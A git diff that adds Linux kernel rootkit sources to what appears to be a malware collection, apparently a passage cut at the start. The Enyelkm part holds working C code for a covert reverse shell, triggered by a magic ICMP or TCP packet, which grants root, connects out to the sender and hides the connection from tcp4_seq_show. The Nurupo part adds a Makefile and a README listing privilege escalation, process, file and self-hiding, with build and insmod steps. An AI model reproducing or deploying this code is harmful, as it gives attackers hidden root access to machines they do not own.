unsigned int, cmd, + unsigned long, arg); +static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *, + writefds, fd_set *, exceptfds, struct timeval *, timeout); +static inline my_syscall2(unsigned long, signal, int, sig, + __sighandler_t, handler); + + + +int reverse_shell(void) +{ +struct task_struct *ptr = current; +struct sockaddr_in dire; +mm_segment_t old_fs; +unsigned long arg[3]; +int soc, tmp_pid, i; +unsigned char tmp; +fd_set s_read; + +old_fs = get_fs(); + +ptr->uid = 0; +ptr->euid = 0; +ptr->gid = SGID; +ptr->egid = 0; + +arg[0] = AF_INET; +arg[1] = SOCK_STREAM; +arg[2] = 0; + +set_fs(KERNEL_DS); + +ssetmask(~0); + +for (i=0; i < 4096; i++) + close(i); + +if ((soc = socketcall(SYS_SOCKET, arg)) == -1) + { + set_fs(old_fs); + lanzar_shell = 1; + + e_exit(-1); + return(-1); + } + +memset((void *) &dire, 0, sizeof(dire)); + +dire.sin_family = AF_INET; +dire.sin_port = htons((unsigned short) global_port); +dire.sin_addr.s_addr = (unsigned long) global_ip; + +arg[0] = soc; +arg[1] = (unsigned long) &dire; +arg[2] = (unsigned long) sizeof(dire); + +if (socketcall(SYS_CONNECT, arg) == -1) + { + close(soc); + set_fs(old_fs); + lanzar_shell = 1; + + e_exit(-1); + return(-1); + } + +/* pillamos tty */ +epty = get_pty(); + +/* ejecutamos shell */ +set_fs(old_fs); + +if (!(tmp_pid = fork())) + ejecutar_shell(); + +set_fs(KERNEL_DS); + + +while(1) + { + FD_ZERO(&s_read); + FD_SET(ptmx, &s_read); + FD_SET(soc, &s_read); + + if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0) + break; + + if (FD_ISSET(ptmx, &s_read)) + { + if (read(ptmx, &tmp, 1) <= 0) + break; + write(soc, &tmp, 1); + } + + if (FD_ISSET(soc, &s_read)) + { + if (read(soc, &tmp, 1) <= 0) + break; + write(ptmx, &tmp, 1); + } + + } /* fin while */ + + +/* matamos el proceso */ +kill(tmp_pid, SIGKILL); + +#if DEBUG == 1 +printk("enyelkm: saliendo de reverse_shell\n"); +#endif + +/* salimos */ +set_fs(old_fs); +e_exit(0); + +return(-1); + +} /********** fin reverse_shell **********/ + + + +int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt, + struct net_device *dev2) +{ +unsigned short len; +char buf[256], *p; +int i; + +switch(skb->nh.iph->protocol) + { + case 1: + /* ICMP */ + + /* el icmp debe ser para nosotros */ + if (skb->pkt_type != PACKET_HOST) + { + kfree_skb(skb); + return(0); + } + + len = (unsigned short) skb->nh.iph->tot_len; + len = htons(len); + + /* no es nuestro icmp */ + if (len != (28 + strlen(ICMP_CLAVE) + sizeof(unsigned short))) + { + kfree_skb(skb); + return(0); + } + + /* copiamos el packete */ + memcpy (buf, (void *) skb->nh.iph, len); + + /* borramos los null */ + for (i=0; i < len; i++) + if (buf[i] == 0) + buf[i] = 1; + buf[len] = 0; + + if(strstr(buf,ICMP_CLAVE) != NULL) + { + unsigned short *puerto; + + puerto = (unsigned short *) + ((void *)(strstr(buf,ICMP_CLAVE) + strlen(ICMP_CLAVE))); + + global_port = *puerto; + global_ip = skb->nh.iph->saddr; + + lanzar_shell = 1; + } + + kfree_skb(skb); + return(0); + break; + + case 6: + /* TCP */ + + len = (unsigned short) skb->nh.iph->tot_len; + len = htons(len); + + if (len > 255) + len = 255; + + /* copiamos el paquete, o parte */ + memcpy (buf, (void *) skb->nh.iph, len); + + /* borramos los null */ + for (i=0; i < len; i++) + if (buf[i] == 0) + buf[i] = 1; + buf[len] = 0; + + if((p = strstr(buf,TCP_CLAVE)) != NULL) + { + p += strlen(TCP_CLAVE); + global_port = *((unsigned short *) p); + global_ip = skb->nh.iph->saddr; + + lanzar_shell = 1; + } + + kfree_skb(skb); + return(0); + break; + + default: + /* NO ICMP && NO TCP */ + + kfree_skb(skb); + return(0); + break; + + } /* fin switch */ + +} /******** fin capturar() *********/ + + + +int get_pty(void) +{ +char buf[128]; +int npty, lock = 0; + +ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU); + +/* pillamos pty libre */ +ioctl(ptmx, TIOCGPTN, (unsigned long) &npty); + +/* bloqueamos */ +ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock); + +/* abrimos pty */ +sprintf(buf, "/dev/pts/%d", npty); +npty = open(buf, O_RDWR, S_IRWXU); + +/* devolvemos el descriptor */ +return(npty); + +} /*************** fin de get_pty() **************/ + + + +void eco_off(void) +{ +struct termios term; + +ioctl(0, TCGETS, (unsigned long) &term); +term.c_lflag = term.c_lflag || CLOCAL; +ioctl(0, TCSETS, (unsigned long) &term); + +} /************* fin de eco_off **************/ + + + +void ejecutar_shell(void) +{ +struct task_struct *ptr = current; +mm_segment_t old_fs; + +old_fs = get_fs(); +set_fs(KERNEL_DS); + +ptr->uid = 0; +ptr->euid = 0; +ptr->gid = SGID; +ptr->egid = 0; + +/* dupeamos */ +dup2(epty, 0); +dup2(epty, 1); +dup2(epty, 2); + +/* quitamos eco */ +eco_off(); + +/* cambiamos a home */ +chdir(HOME); + +execve(earg[0], (const char **) earg, (const char **) env); + +/* salimos en caso de error */ +e_exit(-1); + +} /************ fin ejecutar_shell ***********/ + + + +int hacked_tcp4_seq_show(struct seq_file *seq, void *v) +{ +struct tcp_iter_state* st; +struct my_inet_request_sock *ireq; +struct my_inet_sock *inet; + +if (v == SEQ_START_TOKEN) + return((*orig_tcp4_seq_show)(seq, v)); + +st = seq->private; + +switch (st->state) + { + case TCP_SEQ_STATE_LISTENING: + case TCP_SEQ_STATE_ESTABLISHED: + + inet = (struct my_inet_sock *)((struct sock *) v); + if ((inet->daddr == global_ip) || (inet->rcv_saddr == global_ip)) + { + #if DEBUG == 1 + printk("enyelkm: ip detectada y ocultada (established)!\n"); + #endif + + return(0); + } + else + return((*orig_tcp4_seq_show)(seq, v)); + break; + + case TCP_SEQ_STATE_OPENREQ: + + ireq = my_inet_rsk((struct my_request_sock *) v); + if ((ireq->loc_addr == global_ip) || (ireq->rmt_addr == global_ip)) + { + #if DEBUG == 1 + printk("enyelkm: ip detectada y ocultada (openreq)!\n"); + #endif + + return(0); + } + else + return((*orig_tcp4_seq_show)(seq, v)); + break; + + case TCP_SEQ_STATE_TIME_WAIT: + + if ((((struct my_inet_timewait_sock *)v)->tw_daddr == global_ip) || + (((struct my_inet_timewait_sock *)v)->tw_rcv_saddr == global_ip)) + { + #if DEBUG == 1 + printk("enyelkm: ip detectada y ocultada(time_wait)!\n"); + #endif + + return(0); + } + else + return((*orig_tcp4_seq_show)(seq, v)); + break; + } + +return(0); + +} /********** fin hacked_tcp4_seq_show() ***********/ + + + +/* EOF */ diff --git a/Linux/Rootkits/Enyelkm/remoto.h b/Linux/Rootkits/Enyelkm/remoto.h new file mode 100644 index 0000000..a2c2a97 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/remoto.h @@ -0,0 +1,116 @@ +/* funciones de remoto.c */ + +int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt, + struct net_device *dev2); +int hacked_tcp4_seq_show(struct seq_file *seq, void *v); +int reverse_shell(void); +void ejecutar_shell(void); +int get_pty(void); +void eco_off(void); + + +/* estructuras y funciones para remoto.c */ + +struct my_request_sock { + struct my_request_sock *dl_next; /* Must be first member! */ + u16 mss; + u8 retrans; + u8 __pad; + /* The following two fields can be easily recomputed I think -AK */ + u32 window_clamp; /* window clamp at creation time */ + u32 rcv_wnd; /* rcv_wnd offered first time */ + u32 ts_recent; + unsigned long expires; + struct request_sock_ops *rsk_ops; + struct sock *sk; +}; + + +struct my_inet_sock { + struct sock sk; +#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) + struct ipv6_pinfo *pinet6; +#endif + /* Socket demultiplex comparisons on incoming packets. */ + __u32 daddr; + __u32 rcv_saddr; +}; + + +struct my_inet_request_sock { + struct my_request_sock req; + u32 loc_addr; + u32 rmt_addr; + u16 rmt_port; + u16 snd_wscale : 4, + rcv_wscale : 4, + tstamp_ok : 1, + sack_ok : 1, + wscale_ok : 1, + ecn_ok : 1, + acked : 1; + struct ip_options *opt; +}; + + +static inline struct my_inet_request_sock *my_inet_rsk + (const struct my_request_sock *sk) +{ + return (struct my_inet_request_sock *) sk; +} + + +#if (BITS_PER_LONG == 64) +#define INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES 8 +#else +#define INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES 4 +#endif + + +struct my_sock_common { + unsigned short skc_family; + volatile unsigned char skc_state; + unsigned char skc_reuse; + int skc_bound_dev_if; + struct hlist_node skc_node; + struct hlist_node skc_bind_node; + atomic_t skc_refcnt; + unsigned int skc_hash; + struct proto *skc_prot; +}; + + +struct my_inet_timewait_sock { + /* + * Now struct sock also uses sock_common, so please just + * don't add nothing before this first member (__tw_common) --acme + */ + struct my_sock_common __tw_common; +#define tw_family __tw_common.skc_family +#define tw_state __tw_common.skc_state +#define tw_reuse __tw_common.skc_reuse +#define tw_bound_dev_if __tw_common.skc_bound_dev_if +#define tw_node __tw_common.skc_node +#define tw_bind_node __tw_common.skc_bind_node +#define tw_refcnt __tw_common.skc_refcnt +#define tw_hash __tw_common.skc_hash +#define tw_prot __tw_common.skc_prot + volatile unsigned char tw_substate; + /* 3 bits hole, try to pack */ + unsigned char tw_rcv_wscale; + /* Socket demultiplex comparisons on incoming packets. */ + /* these five are in inet_sock */ + __u16 tw_sport; + __u32 tw_daddr __attribute__((aligned(INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES))); + __u32 tw_rcv_saddr; + __u16 tw_dport; + __u16 tw_num; + /* And these are ours. */ + __u8 tw_ipv6only:1; + /* 31 bits hole, try to pack */ + int tw_timeout; + unsigned long tw_ttd; + struct inet_bind_bucket *tw_tb; + struct hlist_node tw_death_node; +}; + diff --git a/Linux/Rootkits/Enyelkm/syscalls.h b/Linux/Rootkits/Enyelkm/syscalls.h new file mode 100644 index 0000000..dc28c86 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/syscalls.h @@ -0,0 +1,81 @@ +/* macros de syscalls */ + +extern int errno; + +#define my__syscall_return(type, res) \ +do { \ + if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \ + errno = -(res); \ + res = -1; \ + } \ + return (type) (res); \ +} while (0) + +/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */ +#define my_syscall0(type,name) \ +type name(void) \ +{ \ +long __res; \ +__asm__ volatile ("int $0x80" \ + : "=a" (__res) \ + : "0" (__NR_##name)); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall1(type,name,type1,arg1) \ +type name(type1 arg1) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall2(type,name,type1,arg1,type2,arg2) \ +type name(type1 arg1,type2 arg2) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \ + : "memory"); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \ +type name(type1 arg1,type2 arg2,type3 arg3) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ + "d" ((long)(arg3)) : "memory"); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \ +type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ + "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \ + type5,arg5) \ +type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \ + "int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ + "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \ + : "memory"); \ +my__syscall_return(type,__res); \ +} + diff --git a/Linux/Rootkits/Nurupo Rootkit/.github/FUNDING.yml b/Linux/Rootkits/Nurupo Rootkit/.github/FUNDING.yml new file mode 100644 index 0000000..bf02846 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/.github/FUNDING.yml @@ -0,0 +1,27 @@ +custom: + # PayPal donation button is superior to a paypal.me link because it + # additionally: + # - accepts credit cards without a need to create a PayPal account + # - allows monthly subscriptions (requires a PayPal account) + # However, the URL is rather lengthy and GitHub shows it in full in the + # Sponsor modal popup. + - https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=9HJHAH5UDL3GL + # GitHub doesn't allow using URIs in FUNDING.yml, so instead of using a + # Bitcoin URI we have to resort to using a blockchain explorer link. + # + # Blockstream has zero ads on its page, so let's use that, I guess. I have + # to trust them not to redirect this page to someone else's wallet as a + # person donating would likely copy the address off the Blockstream web page + # rather than from the URL GitHub shows the user. + - https://blockstream.info/address/34qxFsZjs1ZWVBwer11gXiycpv7QHTA8q3 + +# At some point I should setup a static page with donation information and link +# to that instead of listing the donation methods here. That way I could hide +# the long PayPal link under a clickable PayPal donation button and use Bitcoin +# URI directly. I could put all of that into every README instead, and I +# actually might at some point, but the Sponsor button on GitHub stands out way +# more than a Donate section in a README, and it's easier to keep up to date - +# just replace a single file instead of having to manually edit every README, at +# least until I make a static page for donations that I link to in READMEs, then +# there would be no reason to edit them, so I decided not to touch READMEs until +# I have the static page setup. diff --git a/Linux/Rootkits/Nurupo Rootkit/LICENSE b/Linux/Rootkits/Nurupo Rootkit/LICENSE new file mode 100644 index 0000000..1b8a5cd --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. \ No newline at end of file diff --git a/Linux/Rootkits/Nurupo Rootkit/Makefile b/Linux/Rootkits/Nurupo Rootkit/Makefile new file mode 100644 index 0000000..573ecdc --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/Makefile @@ -0,0 +1,11 @@ +.PHONY: all +obj-m := rootkit.o +KERNEL_DIR = /lib/modules/$(shell uname -r)/build +PWD = $(shell pwd) +all: rootkit client +rootkit: + $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) +client: + gcc -o client client.c --std=gnu99 -Wall -Wextra -pedantic +clean: + rm -rf *.o *.ko *.symvers *.mod.* *.order diff --git a/Linux/Rootkits/Nurupo Rootkit/README.md b/Linux/Rootkits/Nurupo Rootkit/README.md new file mode 100644 index 0000000..4e355e3 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/README.md @@ -0,0 +1,115 @@ +# Linux Rootkit + +A simple Linux kernel rootkit written for fun, not evil. + +## Functionality + +The rootkit can do the following: + +- Grant root privileges to a userland process +- Hide process by PID +- Unhide a previously hidden process by PID +- Hide files or directories by their name +- Unhide previously hidden files or directories +- Hide itself +- Unhide itself +- Protect against being unloaded by the user +- Disable the unload protection + +## Supported Platforms + +The rootkit was tested to work on Linux kernels 2.6.32-38 and 4.4.0-22 as provided by Ubuntu in Ubuntu 10.04.4 LTS and Ubuntu 16.04 LTS respectively, but it should be very easy to port to kernels in-between, as well as newer ones. + +There is some architecture-specific code in the rootkit which is implemented only for x86 and x86-64 architectures. +That's the code for finding the system call table, disabling write-protected memory and one of the two function hooking methods. +It should be very easy to port to a new architecture, and some of this code is not strictly necessary for the rootkit to function, e.g. the non-portable hooking method could be stripped away, though you must be a very boring person if you are willing to miss on the fun of function hooking that overwrites machine code of the target kernel function such that it calls our hook function instead. + +The rootkit was tested only with 1 CPU core, so it may or may not function correctly on a multi-core system. +It likely won't run very well on a multi-core system as the rootkit was written expecting there to be only 1 thread executing anything at any given time, so it lacks atomic writes/reads and mutexes around list data structures. + +## Build + +### Setting Up Environment + +Warm up your VM of choice. + +Grab and install the desired Ubuntu image: + +| Kernel / arch | x86 | x86-64 | +|:-------------:|:-------------------:|:--------------------:| +| 2.6.32 | Ubuntu 10.04.4 i386 (694M) [[torrent]](http://old-releases.ubuntu.com/releases/10.04.0/ubuntu-10.04.4-server-i386.iso.torrent) [[iso]](http://old-releases.ubuntu.com/releases/10.04.0/ubuntu-10.04.4-server-i386.iso) | Ubuntu 10.04.4 amd64 (681M) [[torrent]](http://old-releases.ubuntu.com/releases/10.04.0/ubuntu-10.04.4-server-amd64.iso.torrent) [[iso]](http://old-releases.ubuntu.com/releases/10.04.0/ubuntu-10.04.4-server-amd64.iso) | +| 4.4.0 | Ubuntu 16.04 i386 (647M) [[torrent]](http://old-releases.ubuntu.com/releases/16.04.0/ubuntu-16.04-server-i386.iso.torrent) [[iso]](http://old-releases.ubuntu.com/releases/16.04.0/ubuntu-16.04-server-i386.iso) | Ubuntu 16.04 amd64 (655M) [[torrent]](http://old-releases.ubuntu.com/releases/16.04.0/ubuntu-16.04-server-amd64.iso.torrent) [[iso]](http://old-releases.ubuntu.com/releases/16.04.0/ubuntu-16.04-server-amd64.iso) | + +For Ubuntu 10.04, patch the package repository address: + +```sh +sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list +``` + +Install a compiler, Linux headers and all other things required for us to build the rootkit: + +```sh +apt-get update +apt-get install build-essential +``` + +Make sure not to call `apt-get upgrade`, as it would update the kernel, when the rootkit was tested only on the pre-installed kernel version. + +### Actual Building + +```sh +make +``` + +## Use + +Load rootkit: + +```sh +insmod rootkit.ko +``` + +Use rootkit: + 